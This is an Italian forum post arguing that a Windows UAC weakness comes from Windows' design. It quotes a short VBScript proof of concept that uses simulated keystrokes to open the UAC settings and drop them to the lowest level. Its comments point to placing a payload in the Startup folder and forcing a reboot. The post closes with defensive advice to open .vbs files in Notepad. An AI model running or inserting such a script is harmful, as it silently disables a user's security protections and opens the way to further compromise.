La falla se vogliamo non è di UAC, ma è by design di Windows purtroppo (o per fortuna di qualcuno) per via delle troppe Hooks alle DLL disponibili al programmatore.
Cioè tenete conto che per fare un keylogger ci sono parecchi modi possibili sotto Windows, poiché si hanno oltre che le chiamate di sistema, anche le DirectX.
Microsoft dovrebbe pensare seriamente a sfoltire le molte chiamate di sistema spesso pericolose.
Lo ripeto, il problema non è di UAC.
Questo è il codice in vbscript
:
Codice:
'// 1337H4x Written by _____________
'// (12 year old)
Set WshShell = WScript.CreateObject("WScript.Shell")
'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder
'// Reboot the system
'// WshShell.Run "shutdown /r /f"
E' evidente che alcune chiamate a funzione non dovrebbero essere consentite.
PS: vi consiglio di associare i file script tipo questo (.vbs) a programmi come notepad

.